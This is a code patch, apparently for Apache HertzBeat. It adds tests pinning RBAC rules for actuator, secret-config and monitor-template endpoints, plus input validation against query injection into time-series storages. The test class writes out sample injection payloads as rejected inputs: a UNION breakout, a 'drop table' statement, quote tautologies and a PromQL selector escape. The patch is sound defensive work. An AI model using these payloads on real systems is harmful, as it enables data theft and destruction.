import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
|
||||
/**
|
||||
* Guards the rbac rule covering the spring boot actuator endpoints.
|
||||
*
|
||||
* <p>`application.yml` exposes `metrics`, `health` and `prometheus`, but `sureness.yml`
|
||||
* neither listed nor excluded `/actuator/**`. A route with no rule leaves `supportRoles`
|
||||
* null and `BaseProcessor.authorized` returns early, so every authenticated account
|
||||
* including {@code guest} could read jvm heap, thread and gc counters, http call
|
||||
* statistics and datasource health - useful for internal reconnaissance and as a
|
||||
* feedback channel while probing for resource exhaustion.
|
||||
*/
|
||||
class SurenessActuatorRuleTest {
|
||||
|
||||
private static final String SEPARATOR = "===";
|
||||
|
||||
private static TirePathTree roleTree;
|
||||
|
||||
private static TirePathTree excludeTree;
|
||||
|
||||
@BeforeAll
|
||||
@SuppressWarnings("unchecked")
|
||||
static void loadSurenessConfig() throws IOException {
|
||||
List<String> resourceRole;
|
||||
List<String> excludedResource;
|
||||
try (InputStream in = SurenessActuatorRuleTest.class.getResourceAsStream("/sureness.yml")) {
|
||||
assertNotNull(in, "sureness.yml must be on the classpath");
|
||||
Map<String, Object> document = new Yaml().load(in);
|
||||
resourceRole = (List<String>) document.get("resourceRole");
|
||||
excludedResource = (List<String>) document.get("excludedResource");
|
||||
}
|
||||
assertNotNull(resourceRole, "resourceRole must be present");
|
||||
assertNotNull(excludedResource, "excludedResource must be present");
|
||||
roleTree = new TirePathTree();
|
||||
roleTree.buildTree(new LinkedHashSet<>(resourceRole));
|
||||
excludeTree = new TirePathTree();
|
||||
excludeTree.buildTree(new LinkedHashSet<>(excludedResource));
|
||||
}
|
||||
|
||||
@Test
|
||||
void actuatorEndpointsAreRestrictedToAdmin() {
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/actuator/prometheus" + SEPARATOR + "get"));
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/actuator/health" + SEPARATOR + "get"));
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/actuator/metrics" + SEPARATOR + "get"));
|
||||
}
|
||||
|
||||
/**
|
||||
* Sureness evaluates the exclusion tree before any credential check, so an actuator
|
||||
* path landing there would hand these internals to anonymous callers instead.
|
||||
*/
|
||||
@Test
|
||||
void actuatorEndpointsAreNotExcludedFromAuthentication() {
|
||||
assertNull(excludeTree.searchPathFilterRoles("/actuator/prometheus" + SEPARATOR + "get"));
|
||||
assertNull(excludeTree.searchPathFilterRoles("/actuator/health" + SEPARATOR + "get"));
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.startup.security;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import com.usthe.sureness.matcher.util.TirePathTree;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
|
||||
/**
|
||||
* Guards the rbac rules covering {@code /api/config/**}.
|
||||
*
|
||||
* <p>A route missing from {@code sureness.yml} carries no role requirement, and
|
||||
* {@code BaseProcessor.authorized} returns early when no role is required, so any
|
||||
* authenticated caller reaches it. The config routes used to be absent entirely, which
|
||||
* exposed {@code GET /api/config/secret} - the jwt signing key and the aes key that
|
||||
* protects stored monitor credentials - to every account including {@code guest}.
|
||||
*/
|
||||
class SurenessConfigRuleTest {
|
||||
|
||||
private static final String SEPARATOR = "===";
|
||||
|
||||
private static TirePathTree roleTree;
|
||||
|
||||
@BeforeAll
|
||||
@SuppressWarnings("unchecked")
|
||||
static void loadSurenessConfig() throws IOException {
|
||||
List<String> resourceRole;
|
||||
try (InputStream in = SurenessConfigRuleTest.class.getResourceAsStream("/sureness.yml")) {
|
||||
assertNotNull(in, "sureness.yml must be on the classpath");
|
||||
Map<String, Object> document = new Yaml().load(in);
|
||||
resourceRole = (List<String>) document.get("resourceRole");
|
||||
}
|
||||
assertNotNull(resourceRole, "resourceRole must be present");
|
||||
roleTree = new TirePathTree();
|
||||
roleTree.buildTree(new LinkedHashSet<>(resourceRole));
|
||||
}
|
||||
|
||||
private static String rolesFor(String path, String method) {
|
||||
return roleTree.searchPathFilterRoles(path + SEPARATOR + method);
|
||||
}
|
||||
|
||||
@Test
|
||||
void readingTheSecretConfigIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", rolesFor("/api/config/secret", "get"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void writingTheSecretConfigIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", rolesFor("/api/config/secret", "post"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void writingAnyOtherConfigIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", rolesFor("/api/config/email", "post"));
|
||||
assertEquals("[admin]", rolesFor("/api/config/oss", "post"));
|
||||
assertEquals("[admin]", rolesFor("/api/config/template/linux", "put"));
|
||||
}
|
||||
|
||||
/**
|
||||
* The notification widget in the top bar lets every signed in user flip the mute flag,
|
||||
* so this one write has to stay reachable by all roles.
|
||||
*/
|
||||
@Test
|
||||
void togglingMuteStaysOpenToEveryRole() {
|
||||
assertEquals("[admin,user,guest]", rolesFor("/api/config/mute", "post"));
|
||||
assertEquals("[admin,user,guest]", rolesFor("/api/config/mute", "get"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void readingNonSecretConfigStaysOpenToEveryRole() {
|
||||
assertEquals("[admin,user,guest]", rolesFor("/api/config/system", "get"));
|
||||
assertEquals("[admin,user,guest]", rolesFor("/api/config/timezones", "get"));
|
||||
}
|
||||
}
|
||||
+227
@@ -0,0 +1,227 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.startup.security;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assumptions.assumeTrue;
|
||||
import com.usthe.sureness.matcher.util.TirePathTree;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
|
||||
/**
|
||||
* Guards the rbac rules shipped in {@code sureness.yml}.
|
||||
*
|
||||
* <p>Sureness splits every rule on {@code ===} and silently drops any line that does not
|
||||
* yield exactly three segments, so a rule with a mistyped separator disappears from the
|
||||
* match tree instead of failing loudly. A dropped rule leaves its endpoint with no role
|
||||
* requirement at all, which sureness treats as "no restriction" for an authenticated
|
||||
* caller. These tests assert both that every rule is well formed and that the rules
|
||||
* protecting destructive endpoints really resolve to the intended roles.
|
||||
*/
|
||||
class SurenessResourceRuleTest {
|
||||
|
||||
private static final String SEPARATOR = "===";
|
||||
|
||||
private static final int RESOURCE_ROLE_SEGMENTS = 3;
|
||||
|
||||
private static final int EXCLUDED_RESOURCE_SEGMENTS = 2;
|
||||
|
||||
private static final Path SCRIPT_DIR = Path.of("..", "script");
|
||||
|
||||
private static List<String> resourceRole;
|
||||
|
||||
private static List<String> excludedResource;
|
||||
|
||||
private static TirePathTree roleTree;
|
||||
|
||||
@BeforeAll
|
||||
@SuppressWarnings("unchecked")
|
||||
static void loadSurenessConfig() throws IOException {
|
||||
try (InputStream in = SurenessResourceRuleTest.class.getResourceAsStream("/sureness.yml")) {
|
||||
assertNotNull(in, "sureness.yml must be on the classpath");
|
||||
Map<String, Object> document = new Yaml().load(in);
|
||||
resourceRole = (List<String>) document.get("resourceRole");
|
||||
excludedResource = (List<String>) document.get("excludedResource");
|
||||
}
|
||||
assertNotNull(resourceRole, "resourceRole must be present");
|
||||
assertNotNull(excludedResource, "excludedResource must be present");
|
||||
|
||||
roleTree = new TirePathTree();
|
||||
roleTree.buildTree(new LinkedHashSet<>(resourceRole));
|
||||
}
|
||||
|
||||
@Test
|
||||
void everyResourceRoleRuleIsWellFormed() {
|
||||
for (String rule : resourceRole) {
|
||||
assertEquals(RESOURCE_ROLE_SEGMENTS, rule.split(SEPARATOR, -1).length,
|
||||
"resourceRole rule is silently dropped by sureness, it needs exactly two '"
|
||||
+ SEPARATOR + "' separators: " + rule);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void everyExcludedResourceRuleIsWellFormed() {
|
||||
for (String rule : excludedResource) {
|
||||
assertEquals(EXCLUDED_RESOURCE_SEGMENTS, rule.split(SEPARATOR, -1).length,
|
||||
"excludedResource rule is silently dropped by sureness, it needs exactly one '"
|
||||
+ SEPARATOR + "' separator: " + rule);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void everyRuleReachesTheMatchTree() {
|
||||
assertEquals(resourceRole.size(), roleTree.getResourceNum(),
|
||||
"a rule was dropped while building the match tree, leaving its endpoint unprotected");
|
||||
}
|
||||
|
||||
@Test
|
||||
void deletingOneMonitorIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/api/monitor/1" + SEPARATOR + "delete"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void deletingMonitorsIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/api/monitors/1" + SEPARATOR + "delete"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void readingMonitorsStaysOpenToEveryRole() {
|
||||
assertEquals("[admin,user,guest]", roleTree.searchPathFilterRoles("/api/monitors" + SEPARATOR + "get"));
|
||||
}
|
||||
|
||||
/**
|
||||
* Only the {@code get} verb under {@code /api/apps} used to be listed, so the monitoring
|
||||
* template writes behind {@code AppController} reached any authenticated caller, down to
|
||||
* a {@code guest}.
|
||||
*
|
||||
* <p>The write verbs are not equally dangerous, and the rules deliberately differ.
|
||||
* {@code post} refuses to overwrite an existing template, so it only adds a type that
|
||||
* nobody is obliged to use, which puts it on the same footing as creating a monitor.
|
||||
* {@code put} overwrites any template including the built-in ones and then hands the new
|
||||
* definition to {@code updateAppCollectJob}, retroactively changing what every existing
|
||||
* monitor of that type collects for every account, so it stays admin only.
|
||||
*/
|
||||
@Test
|
||||
void addingMonitorTemplatesIsOpenToUsers() {
|
||||
assertEquals("[admin,user]", roleTree.searchPathFilterRoles("/api/apps/define/yml" + SEPARATOR + "post"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void overwritingMonitorTemplatesIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/api/apps/define/yml" + SEPARATOR + "put"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void deletingMonitorTemplatesIsRestrictedToAdmin() {
|
||||
assertEquals("[admin]", roleTree.searchPathFilterRoles("/api/apps/linux/define/yml" + SEPARATOR + "delete"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void readingMonitorTemplatesStaysOpenToEveryRole() {
|
||||
assertEquals("[admin,user,guest]", roleTree.searchPathFilterRoles("/api/apps/linux/define/yml" + SEPARATOR + "get"));
|
||||
}
|
||||
|
||||
/**
|
||||
* The deployment scripts ship their own copies of {@code sureness.yml}; a rule fixed only
|
||||
* in the packaged file would still leave every container deployment exposed.
|
||||
*
|
||||
* <p>Each section is checked against its own shape rather than against "either shape".
|
||||
* The two sections are not interchangeable: {@code resourceRole} takes
|
||||
* {@code api===method===roles} and {@code excludedResource} takes {@code api===method},
|
||||
* and sureness consults the exclusion tree before it authenticates. A rule carrying
|
||||
* roles that lands under {@code excludedResource} therefore matches nothing and quietly
|
||||
* leaves its endpoint unruled, which a check accepting either shape anywhere would
|
||||
* wave through.
|
||||
*/
|
||||
@Test
|
||||
void deploymentCopiesCarryWellFormedRules() throws IOException {
|
||||
for (Path copy : deploymentCopies()) {
|
||||
List<String> copyResourceRole = sectionOf(copy, "resourceRole");
|
||||
List<String> copyExcludedResource = sectionOf(copy, "excludedResource");
|
||||
|
||||
for (String rule : copyResourceRole) {
|
||||
assertEquals(RESOURCE_ROLE_SEGMENTS, rule.split(SEPARATOR, -1).length,
|
||||
"resourceRole rule is silently dropped by sureness in " + copy
|
||||
+ ", it needs exactly two '" + SEPARATOR + "' separators: " + rule);
|
||||
}
|
||||
for (String rule : copyExcludedResource) {
|
||||
assertEquals(EXCLUDED_RESOURCE_SEGMENTS, rule.split(SEPARATOR, -1).length,
|
||||
"excludedResource rule is silently dropped by sureness in " + copy
|
||||
+ ", it needs exactly one '" + SEPARATOR + "' separator: " + rule);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Well formed is not the same as correct: a copy that simply never listed the write verbs
|
||||
* passes every shape check above while leaving the monitoring template writes unruled. The
|
||||
* copies are edited by hand, one per deployment flavour, so the roles themselves are pinned
|
||||
* here too and a missed copy fails instead of shipping.
|
||||
*/
|
||||
@Test
|
||||
void deploymentCopiesRestrictMonitorTemplateWrites() throws IOException {
|
||||
for (Path copy : deploymentCopies()) {
|
||||
TirePathTree copyTree = new TirePathTree();
|
||||
copyTree.buildTree(new LinkedHashSet<>(sectionOf(copy, "resourceRole")));
|
||||
assertEquals("[admin,user]", copyTree.searchPathFilterRoles("/api/apps/define/yml" + SEPARATOR + "post"),
|
||||
"adding a monitoring template is unruled or over-granted in " + copy);
|
||||
assertEquals("[admin]", copyTree.searchPathFilterRoles("/api/apps/define/yml" + SEPARATOR + "put"),
|
||||
"overwriting a monitoring template is unruled or over-granted in " + copy);
|
||||
assertEquals("[admin]", copyTree.searchPathFilterRoles("/api/apps/linux/define/yml" + SEPARATOR + "delete"),
|
||||
"deleting a monitoring template is unruled or over-granted in " + copy);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return the {@code sureness.yml} copies shipped by the deployment scripts
|
||||
*/
|
||||
private static Set<Path> deploymentCopies() throws IOException {
|
||||
assumeTrue(Files.isDirectory(SCRIPT_DIR),
|
||||
"running outside the source tree, the packaged file asserted above is all we can see");
|
||||
try (Stream<Path> paths = Files.walk(SCRIPT_DIR)) {
|
||||
Set<Path> copies = paths.filter(path -> path.getFileName().toString().equals("sureness.yml"))
|
||||
.collect(Collectors.toCollection(LinkedHashSet::new));
|
||||
assertFalse(copies.isEmpty(), "expected the deployment scripts to ship sureness.yml copies");
|
||||
return copies;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
private static List<String> sectionOf(Path copy, String section) throws IOException {
|
||||
Map<String, Object> document;
|
||||
try (InputStream in = Files.newInputStream(copy)) {
|
||||
document = new Yaml().load(in);
|
||||
}
|
||||
List<String> rules = (List<String>) document.get(section);
|
||||
assertNotNull(rules, section + " must be present in " + copy);
|
||||
return rules;
|
||||
}
|
||||
}
|
||||
+57
@@ -22,6 +22,7 @@ import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.regex.Pattern;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.hertzbeat.common.constants.CommonConstants;
|
||||
import org.apache.hertzbeat.common.constants.MetricDataConstants;
|
||||
@@ -45,6 +46,38 @@ import org.springframework.stereotype.Service;
|
||||
@Service
|
||||
public class MetricsDataServiceImpl implements MetricsDataService {
|
||||
|
||||
/**
|
||||
* The history range is interpolated straight into the time predicate of the generated
|
||||
* query - {@code WHERE ts >= now - %s} for tdengine, the equivalent for influxdb, iotdb
|
||||
* and victoria metrics - with no quoting around it, which makes it the widest opening
|
||||
* of the four inputs: anything after the range escapes the predicate and continues the
|
||||
* statement.
|
||||
*
|
||||
* <p>A count followed by a single unit letter is the whole language the ui speaks
|
||||
* ({@code 1h}, {@code 6h}, {@code 1D}, {@code 1W}, {@code 4W}, {@code 12W}) and cannot
|
||||
* carry a quote, a separator or a comment. Both cases are accepted because the storages
|
||||
* differ on it: questdb lowercases the unit while `TimePeriodUtil` reads an uppercase
|
||||
* unit as a calendar period. Which units a given storage actually supports is left to
|
||||
* that storage, so this rejects without changing what already worked.
|
||||
*/
|
||||
private static final Pattern HISTORY_RANGE = Pattern.compile("\\d{1,6}[smhdwy]", Pattern.CASE_INSENSITIVE);
|
||||
|
||||
/**
|
||||
* App, metrics group and metric names reach the storages as table and column
|
||||
* identifiers, quoted with backticks in tdengine and double quotes in questdb, and as
|
||||
* promql label values in victoria metrics. None of the characters allowed here can
|
||||
* close any of those, and every monitoring template shipped with hertzbeat names its
|
||||
* apps, metric groups and fields from this set.
|
||||
*/
|
||||
private static final Pattern IDENTIFIER = Pattern.compile("[A-Za-z0-9_-]{1,200}");
|
||||
|
||||
/**
|
||||
* The instance is commonly an address, so it additionally allows the punctuation an
|
||||
* address carries. The storages that build a table name from it already fold {@code .},
|
||||
* {@code :}, {@code [} and {@code ]} into underscores.
|
||||
*/
|
||||
private static final Pattern INSTANCE = Pattern.compile("[A-Za-z0-9_\\-.:\\[\\]]{1,200}");
|
||||
|
||||
private final RealTimeDataReader realTimeDataReader;
|
||||
|
||||
private final Optional<HistoryDataReader> historyDataReader;
|
||||
@@ -111,6 +144,11 @@ public class MetricsDataServiceImpl implements MetricsDataService {
|
||||
if (history == null) {
|
||||
history = "6h";
|
||||
}
|
||||
validateHistoryRange(history);
|
||||
validateIdentifier(app, "app");
|
||||
validateIdentifier(metrics, "metrics");
|
||||
validateIdentifier(metric, "metric");
|
||||
validateInstance(instance);
|
||||
Map<String, List<Value>> instanceValuesMap;
|
||||
if (interval == null || !interval) {
|
||||
instanceValuesMap = historyDataReader.get().getHistoryMetricData(instance, app, metrics, metric, history);
|
||||
@@ -126,4 +164,23 @@ public class MetricsDataServiceImpl implements MetricsDataService {
|
||||
.field(Field.builder().name(metric).type(CommonConstants.TYPE_NUMBER).build())
|
||||
.build();
|
||||
}
|
||||
|
||||
private static void validateHistoryRange(String history) {
|
||||
if (!HISTORY_RANGE.matcher(history).matches()) {
|
||||
throw new IllegalArgumentException("history range: " + history
|
||||
+ " is illegal, expected a count followed by a unit such as 6h or 1W.");
|
||||
}
|
||||
}
|
||||
|
||||
private static void validateIdentifier(String value, String name) {
|
||||
if (value == null || !IDENTIFIER.matcher(value).matches()) {
|
||||
throw new IllegalArgumentException(name + ": " + value + " is illegal.");
|
||||
}
|
||||
}
|
||||
|
||||
private static void validateInstance(String instance) {
|
||||
if (instance == null || !INSTANCE.matcher(instance).matches()) {
|
||||
throw new IllegalArgumentException("instance: " + instance + " is illegal.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+150
@@ -0,0 +1,150 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.warehouse.service.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import org.apache.hertzbeat.common.entity.dto.MetricsHistoryData;
|
||||
import org.apache.hertzbeat.common.entity.dto.Value;
|
||||
import org.apache.hertzbeat.warehouse.store.history.tsdb.HistoryDataReader;
|
||||
import org.apache.hertzbeat.warehouse.store.realtime.RealTimeDataReader;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
|
||||
/**
|
||||
* Test case for {@link MetricsDataServiceImpl}.
|
||||
*
|
||||
* <p>The history query inputs arrive from rest path variables and a query parameter and are
|
||||
* interpolated into native queries by every time series storage: the range lands unquoted
|
||||
* in the time predicate, while the app, metrics group, metric and instance land as table
|
||||
* and column identifiers or as promql label values. The only storage that parses the range
|
||||
* instead of interpolating it is questdb, and the default duckdb storage uses prepared
|
||||
* statements, so validating here is what covers tdengine, influxdb, iotdb and victoria
|
||||
* metrics at once.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class MetricsDataServiceImplTest {
|
||||
|
||||
@Mock
|
||||
private RealTimeDataReader realTimeDataReader;
|
||||
|
||||
@Mock
|
||||
private HistoryDataReader historyDataReader;
|
||||
|
||||
private MetricsDataServiceImpl metricsDataService;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
metricsDataService = new MetricsDataServiceImpl(realTimeDataReader, Optional.of(historyDataReader));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testHistoryRangeBreakingOutOfTheTimePredicateIsRejected() {
|
||||
// reproduces the reported payload: the range closes `ts >= now - ?` and continues the statement
|
||||
assertRejected("1s union all select ts, metric_labels, `usage` from `other_table` where ts>=now-1w");
|
||||
assertRejected("1h; drop table cpu");
|
||||
assertRejected("1h' or '1'='1");
|
||||
assertRejected("1h)--");
|
||||
}
|
||||
|
||||
@Test
|
||||
void testMalformedHistoryRangeIsRejected() {
|
||||
assertRejected("");
|
||||
assertRejected("6");
|
||||
assertRejected("hh");
|
||||
assertRejected("-1h");
|
||||
assertRejected("1 h");
|
||||
}
|
||||
|
||||
@Test
|
||||
void testRangesTheUiSendsAreAccepted() {
|
||||
// the periods behind the chart buttons, plus the default applied when none is given
|
||||
for (String range : List.of("1h", "6h", "1D", "1W", "4W", "12W")) {
|
||||
when(historyDataReader.getHistoryMetricData("127.0.0.1", "linux", "cpu", "usage", range))
|
||||
.thenReturn(Map.of("", List.of(new Value("1", 1L))));
|
||||
|
||||
MetricsHistoryData data = metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux", "cpu", "usage", range, false);
|
||||
|
||||
assertEquals("cpu", data.getMetrics());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void testMissingRangeFallsBackToTheDefault() {
|
||||
when(historyDataReader.getHistoryMetricData("127.0.0.1", "linux", "cpu", "usage", "6h"))
|
||||
.thenReturn(Map.of("", List.of(new Value("1", 1L))));
|
||||
|
||||
metricsDataService.getMetricHistoryData("127.0.0.1", "linux", "cpu", "usage", null, false);
|
||||
|
||||
verify(historyDataReader).getHistoryMetricData("127.0.0.1", "linux", "cpu", "usage", "6h");
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIdentifierEscapingTheQuotingIsRejected() {
|
||||
// a backtick closes a tdengine identifier, a double quote closes a questdb one
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux`,(select 1) `x", "cpu", "usage", "6h", false));
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux", "cpu\" or \"1\"=\"1", "usage", "6h", false));
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux", "cpu", "usage`", "6h", false));
|
||||
// the instance lands inside a promql label selector in victoria metrics
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1\",__name__=~\".*", "linux", "cpu", "usage", "6h", false));
|
||||
|
||||
verify(historyDataReader, never()).getHistoryMetricData(anyString(), anyString(), anyString(),
|
||||
anyString(), anyString());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testNamesUsedByTheShippedTemplatesAreAccepted() {
|
||||
// dashes appear in template field names, an instance is usually an address
|
||||
when(historyDataReader.getHistoryMetricData("[::1]:8080", "hugegraph", "cache", "edge-hugegraph-hits", "6h"))
|
||||
.thenReturn(Map.of("", List.of(new Value("1", 1L))));
|
||||
|
||||
MetricsHistoryData data = metricsDataService.getMetricHistoryData(
|
||||
"[::1]:8080", "hugegraph", "cache", "edge-hugegraph-hits", "6h", false);
|
||||
|
||||
assertEquals("cache", data.getMetrics());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIntervalQueriesAreValidatedTheSameWay() {
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux", "cpu", "usage", "1h; drop table cpu", true));
|
||||
|
||||
verify(historyDataReader, never()).getHistoryIntervalMetricData(anyString(), anyString(), anyString(),
|
||||
anyString(), anyString());
|
||||
}
|
||||
|
||||
private void assertRejected(String history) {
|
||||
assertThrows(IllegalArgumentException.class, () -> metricsDataService.getMetricHistoryData(
|
||||
"127.0.0.1", "linux", "cpu", "usage", history, false), "expected rejection of: " + history);
|
||||
}
|
||||
}
|
||||
@@ -130,14 +130,18 @@ More details see 👉 [Alarm grouping](alarm_group) <br />
|
||||
> After setting the receiver, you need to set the associated alarm notification strategy to configure which alarm information is sent to which receiver.
|
||||
|
||||
 👉 [Configure Email Notification](alert_email) <br />
|
||||
 👉 [Configure Discord Notification](alert_webhook) <br />
|
||||
 👉 [Configure Slack Notification](alert_webhook) <br />
|
||||
 👉 [Configure Telegram Notification](alert_webhook) <br />
|
||||
 👉 [Configure SMS Notification](alert_sms) <br />
|
||||
 👉 [Configure WebHook Notification](alert_webhook) <br />
|
||||
 👉 [Configure Discord Notification](alert_discord) <br />
|
||||
 👉 [Configure Slack Notification](alert_slack) <br />
|
||||
 👉 [Configure Telegram Notification](alert_telegram) <br />
|
||||
 👉 [Configure enterprise WeChat Robot Notification](alert_wework) <br />
|
||||
 👉 [Configure enterprise WeChat App Notification](alert_enterprise_wechat_app) <br />
|
||||
 👉 [Configure DingDing Robot Notification](alert_dingtalk) <br />
|
||||
 👉 [Configure FeiShu Robot Notification](alert_feishu) <br />
|
||||
 👉 [Configure FeiShu App Notification](alert_feishu_app) <br />
|
||||
 👉 [Configure Huawei Cloud SMN Notification](alert_smn) <br />
|
||||
 👉 [Notification Template](alert_notification_template) <br />
|
||||
|
||||
### Plugins
|
||||
|
||||
|
||||
@@ -64,7 +64,7 @@ mysql Ver 8.0.25 for Linux on x86_64 (MySQL Community Server - GPL)
|
||||
修改位于 `hertzbeat/config/application.yml` 的配置文件
|
||||
注意⚠️docker容器方式需要将application.yml文件挂载到主机本地,安装包方式解压修改位于 `hertzbeat/config/application.yml` 即可
|
||||
替换里面的`spring.database`数据源参数,IP端口账户密码驱动
|
||||
⚠️注意`application.yml`文件内容需完整,除下方修改内容外其他参数需保留,完整内容见[/script/application.yml](https://github.com/hertzbeat/hertzbeat/raw/master/script/application.yml)
|
||||
⚠️注意`application.yml`文件内容需完整,除下方修改内容外其他参数需保留,完整内容见[/script/application.yml](https://raw.githubusercontent.com/apache/hertzbeat/master/script/application.yml)
|
||||
|
||||
需修改部分原参数:
|
||||
|
||||
|
||||
@@ -55,7 +55,7 @@ PostgreSQL 是一个功能强大,开源的关系型数据库管理系统(RDB
|
||||
修改位于 `hertzbeat/config/application.yml` 的配置文件
|
||||
注意⚠️ docker 容器方式需要将 application.yml 文件挂载到主机本地,安装包方式解压修改位于 `hertzbeat/config/application.yml` 即可
|
||||
替换里面的 `spring.database` 数据源参数,IP 端口账户密码驱动
|
||||
⚠️注意 `application.yml` 文件内容需完整,除下方修改内容外其他参数需保留,完整内容见[/script/application.yml](https://github.com/hertzbeat/hertzbeat/raw/master/script/application.yml)
|
||||
